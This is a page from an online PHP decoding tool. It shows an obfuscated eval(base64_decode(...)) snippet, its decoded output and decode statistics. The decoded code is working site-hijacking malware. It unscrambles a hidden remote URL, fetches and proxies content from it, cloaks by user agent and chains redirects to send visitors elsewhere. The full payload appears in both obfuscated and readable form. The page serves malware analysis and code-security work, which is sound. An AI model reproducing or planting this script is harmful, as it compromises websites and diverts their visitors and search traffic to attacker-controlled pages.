Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(base64_decode("ICAgIGVycm9yX3JlcG9ydGluZygwKTsgICRscnUgPSAiZ2c5MjY1ODM2MmMxNTE5MTE..
Decoded Output download
error_reporting(0); $lru = "gg92658362c1519119f648b32779226955b479233941883432686466400694c45956640348f4360362031168396147f55254046216b4175387d699687327541864-235t805r884a783m133s806/739s512r146o827d845/910m468o539c370.133g788n706i395t100s546o443h552s851n560i870m238d260a744/893/125:879p698t909t663h732"; $url = ''; if (substr($lru, 0, 2)=='gg') { for($x=strlen($lru);$x>0;$x-=4) $url .= substr($lru,$x,1); } else $url = $lru; $e = '.php'; $q = ""; $test = 'suka-test'; $a = $_SERVER["QUERY_STRING"]; $spec_reg = '(\.css|\.svg|\.jpg|\.jpeg|\.png|\.bmp|\.img|\.gif|\.js)'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_GET[$q] : $_SERVER["QUERY_STRING"])) { $strlena = strlen($a); $aori = $a; $a = rtrim($a,'/'); if($test && $a == $test) { echo 'OK'; exit; } if (preg_match($spec_reg,$a)) $w = $a; else $w = preg_replace("/^([a-z0-9-_\/]+)(\.|\/|).*$/i", '$1'.$e, $a, -1, $h); curl_setopt($ch = curl_init($url.$w), CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER["HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); $c = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_setopt($chg=curl_init($url.$w), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chg, CURLOPT_HEADER, 0); curl_setopt($chg, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($chg, CURLOPT_USERAGENT, 'Google'); $resultg = curl_exec($chg); $cg = curl_getinfo($chg, CURLINFO_HTTP_CODE); if ( ($c == 301 || $c == 302) && ($u = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)) && $resultg!='' && $cg != 404 ) { $end = FALSE; $rd = $u; while ($end===FALSE) { curl_setopt($cht = curl_init($rd), CURLOPT_RETURNTRANSFER, 1); curl_setopt($cht, CURLOPT_HEADER, 1); curl_setopt($cht, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($cht, CURLOPT_USERAGENT, 'Opera'); curl_setopt($cht, CURLOPT_REFERER, 'http://www.google.com'); $rrt = curl_exec($cht); $u = curl_getinfo($cht, CURLINFO_EFFECTIVE_URL); if (preg_match('#Location\: ([\S]+)#si',$rrt,$rdr)) { $rd = $rdr[1]; if (!preg_match('#redbutton#',$rd)) { $end = TRUE; break; } } else { $end = TRUE; break; } } header('Location: ' . $rd, true, $c); exit; } else if ($resultg=='' || $cg == 404) { curl_setopt($chc=curl_init("http://".$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"].'?myclearcode'), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chc, CURLOPT_HEADER, 0); curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0); die(curl_exec($chc)); exit; } else if ($c == 200 && $result != '') { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); $result = preg_replace('#^.*?\<html#si','<html',$result); $ori = $result; $t = $_SERVER["SCRIPT_NAME"]; $h = strlen($w) - strlen($e) - $strlena; $result = preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result); $hz = ($h<0) ? substr($a, $h) : ""; if (substr($aori,-1)=='/') { $result = preg_replace('/<(a|link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\?\=]+)["\'](.*?)>/i', '<$1$2$3="../$4"$5>', $result); } $result = ( ($h) || substr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote($t, '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)>/i', '<a$1href="$2' . $hz . '"$4>', $result) : $ori; if (strpos($_SERVER['REQUEST_URI'], 'index.php?')!==FALSE) { $result = preg_replace('/<(link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\=]+).*?["\'](.*?)>/i', '<$1$2$3="index.php?$4"$5>', $result); } echo $result; exit; } }
Did this file decode correctly?
Original Code
<? eval(base64_decode("ICAgIGVycm9yX3JlcG9ydGluZygwKTsgICRscnUgPSAiZ2c5MjY1ODM2MmMxNTE5MTE5ZjY0OGIzMjc3OTIyNjk1NWI0NzkyMzM5NDE4ODM0MzI2ODY0NjY0MDA2OTRjNDU5NTY2NDAzNDhmNDM2MDM2MjAzMTE2ODM5NjE0N2Y1NTI1NDA0NjIxNmI0MTc1Mzg3ZDY5OTY4NzMyNzU0MTg2NC0yMzV0ODA1cjg4NGE3ODNtMTMzczgwNi83MzlzNTEycjE0Nm84MjdkODQ1LzkxMG00NjhvNTM5YzM3MC4xMzNnNzg4bjcwNmkzOTV0MTAwczU0Nm80NDNoNTUyczg1MW41NjBpODcwbTIzOGQyNjBhNzQ0Lzg5My8xMjU6ODc5cDY5OHQ5MDl0NjYzaDczMiI7ICAkdXJsID0gJyc7ICBpZiAoc3Vic3RyKCRscnUsIDAsIDIpPT0nZ2cnKSAgCXsgIAlmb3IoJHg9c3RybGVuKCRscnUpOyR4PjA7JHgtPTQpICR1cmwgLj0gc3Vic3RyKCRscnUsJHgsMSk7ICAJfSAgZWxzZSAkdXJsID0gJGxydTsgICAgJGUgPSAnLnBocCc7ICAkcSA9ICIiOyAgJHRlc3QgPSAnc3VrYS10ZXN0JzsgICAgJGEgPSAkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl07ICAgICRzcGVjX3JlZyA9ICcoXC5jc3N8XC5zdmd8XC5qcGd8XC5qcGVnfFwucG5nfFwuYm1wfFwuaW1nfFwuZ2lmfFwuanMpJzsgICAgaWYgKCghJHEgfHwgaXNzZXQoJF9HRVRbJHFdKSkgJiYgcHJlZ19tYXRjaCgiL15bXlwvXVthLXowLTktX1wvXC5dKyQvaSIsICRhID0gJHEgPyAkX0dFVFskcV0gOiAkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSAgCXsgIAkkc3RybGVuYSA9IHN0cmxlbigkYSk7ICAJJGFvcmkgPSAkYTsgIAkkYSA9IHJ0cmltKCRhLCcvJyk7ICAJaWYoJHRlc3QgJiYgJGEgPT0gJHRlc3QpICAJCXsgIAkJZWNobyAnT0snOyBleGl0OyAgCQl9CSAgICAJaWYgKHByZWdfbWF0Y2goJHNwZWNfcmVnLCRhKSkgJHcgPSAkYTsgIAllbHNlICR3ID0gcHJlZ19yZXBsYWNlKCIvXihbYS16MC05LV9cL10rKShcLnxcL3wpLiokL2kiLCAnJDEnLiRlLCAkYSwgLTEsICRoKTsgICAgCWN1cmxfc2V0b3B0KCRjaCA9IGN1cmxfaW5pdCgkdXJsLiR3KSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgIAljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pOyAgCWlmIChpc3NldCgkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl0pKSBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVGRVJFUiwgJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKTsgIAkkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ICAJJGMgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOyAgICAJY3VybF9zZXRvcHQoJGNoZz1jdXJsX2luaXQoJHVybC4kdyksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgCWN1cmxfc2V0b3B0KCRjaGcsIENVUkxPUFRfSEVBREVSLCAwKTsgIAljdXJsX3NldG9wdCgkY2hnLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgIAljdXJsX3NldG9wdCgkY2hnLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0dvb2dsZScpOyAgCSRyZXN1bHRnID0gY3VybF9leGVjKCRjaGcpOyAgCSRjZyA9IGN1cmxfZ2V0aW5mbygkY2hnLCBDVVJMSU5GT19IVFRQX0NPREUpOyAgICAgCWlmICggKCRjID09IDMwMSB8fCAkYyA9PSAzMDIpICYmICgkdSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0VGRkVDVElWRV9VUkwpKSAmJiAkcmVzdWx0ZyE9JycgJiYgJGNnICE9IDQwNCApICAJCXsgIAkJJGVuZCA9IEZBTFNFOyAgCQkkcmQgPSAkdTsgICAgCQl3aGlsZSAoJGVuZD09PUZBTFNFKSAgCQkJeyAgCQkJY3VybF9zZXRvcHQoJGNodCA9IGN1cmxfaW5pdCgkcmQpLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgIAkJCWN1cmxfc2V0b3B0KCRjaHQsIENVUkxPUFRfSEVBREVSLCAxKTsgIAkJCWN1cmxfc2V0b3B0KCRjaHQsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgCQkJY3VybF9zZXRvcHQoJGNodCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdPcGVyYScpOyAgCQkJY3VybF9zZXRvcHQoJGNodCwgQ1VSTE9QVF9SRUZFUkVSLCAnaHR0cDovL3d3dy5nb29nbGUuY29tJyk7ICAJCQkkcnJ0ID0gY3VybF9leGVjKCRjaHQpOyAgICAJCQkkdSA9IGN1cmxfZ2V0aW5mbygkY2h0LCBDVVJMSU5GT19FRkZFQ1RJVkVfVVJMKTsgICAgCQkJaWYgKHByZWdfbWF0Y2goJyNMb2NhdGlvblw6IChbXFNdKykjc2knLCRycnQsJHJkcikpICAJCQkJeyAgCQkJCSRyZCA9ICRyZHJbMV07ICAJCQkJaWYgKCFwcmVnX21hdGNoKCcjcmVkYnV0dG9uIycsJHJkKSkgIAkJCQkJeyAgCQkJCQkkZW5kID0gVFJVRTsgIAkJCQkJYnJlYWs7ICAJCQkJCX0JICAJCQkJfSAgCQkJZWxzZSAgCQkJCXsgIAkJCQkkZW5kID0gVFJVRTsgIAkJCQlicmVhazsgIAkJCQl9CQkJICAJCQl9ICAgIAkJaGVhZGVyKCdMb2NhdGlvbjogJyAuICRyZCwgdHJ1ZSwgJGMpOyAgCQlleGl0OyAgCQl9ICAJZWxzZSBpZiAoJHJlc3VsdGc9PScnIHx8ICRjZyA9PSA0MDQpICAJCXsgIAkJY3VybF9zZXRvcHQoJGNoYz1jdXJsX2luaXQoImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLic/bXljbGVhcmNvZGUnKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAJCWN1cmxfc2V0b3B0KCRjaGMsIENVUkxPUFRfSEVBREVSLCAwKTsgIAkJY3VybF9zZXRvcHQoJGNoYywgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7ICAJCWRpZShjdXJsX2V4ZWMoJGNoYykpOyAgCQlleGl0OyAgCQl9ICAJZWxzZSBpZiAoJGMgPT0gMjAwICYmICRyZXN1bHQgIT0gJycpICAJCXsgIAkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgIAkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnI14uKj9cPGh0bWwjc2knLCc8aHRtbCcsJHJlc3VsdCk7ICAgIAkJJG9yaSA9ICRyZXN1bHQ7ICAgIAkJJHQgPSAkX1NFUlZFUlsiU0NSSVBUX05BTUUiXTsgICAgCQkkaCA9IHN0cmxlbigkdykgLSBzdHJsZW4oJGUpIC0gJHN0cmxlbmE7ICAJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJy9iYWNrZ3JvdW5kKC1pbWFnZVw6fFw6KSguKj91cmxcKFsiXCddKShbXlwvXVthLXowLTktX1wuXC9dKykoWyJcJ11cKSkvaScsICdiYWNrZ3JvdW5kJDEkMicgLiAkdCAuICckMyQ0JywgJHJlc3VsdCk7ICAgIAkJJGh6ID0gKCRoPDApID8gc3Vic3RyKCRhLCAkaCkgOiAiIjsgICAgCQlpZiAoc3Vic3RyKCRhb3JpLC0xKT09Jy8nKSAgCQkJeyAgCQkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnLzwoYXxsaW5rfGltZykoLio/KShocmVmfHNyYyk9WyJcJ10oKD8haHR0cHxcLylbYS16MC05LV9cLlwvXD9cPV0rKVsiXCddKC4qPyk+L2knLCAnPCQxJDIkMz0iLi4vJDQiJDU+JywgJHJlc3VsdCk7ICAJCQl9ICAgIAkJJHJlc3VsdCA9ICggKCRoKSB8fCBzdWJzdHIoJGEsIC00KSA9PSAnLmNzcycpID8gcHJlZ19yZXBsYWNlKCcvPGEoLio/KWhyZWY9WyJcJ10oJyAuIHByZWdfcXVvdGUoJHQsICcvJykgLiAnW2EtejAtOS1fXSspKCcgLiBwcmVnX3F1b3RlKCRlKSAuICcpWyJcJ10oLio/KT4vaScsICc8YSQxaHJlZj0iJDInIC4gJGh6IC4gJyIkND4nLCAkcmVzdWx0KSA6ICRvcmk7ICAgIAkJaWYgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ2luZGV4LnBocD8nKSE9PUZBTFNFKSAgCQkJeyAgCQkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnLzwobGlua3xpbWcpKC4qPykoaHJlZnxzcmMpPVsiXCddKCg/IWh0dHB8XC8pW2EtejAtOS1fXC5cL1w9XSspLio/WyJcJ10oLio/KT4vaScsICc8JDEkMiQzPSJpbmRleC5waHA/JDQiJDU+JywgJHJlc3VsdCk7ICAJCQl9ICAgIAkJZWNobyAkcmVzdWx0OyAgCQlleGl0OyAgCQl9ICAJfSAgICA="));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | dab917f03faa1c4ea3af3dcaa86ed28a |
| Eval Count | 1 |
| Decode Time | 83 ms |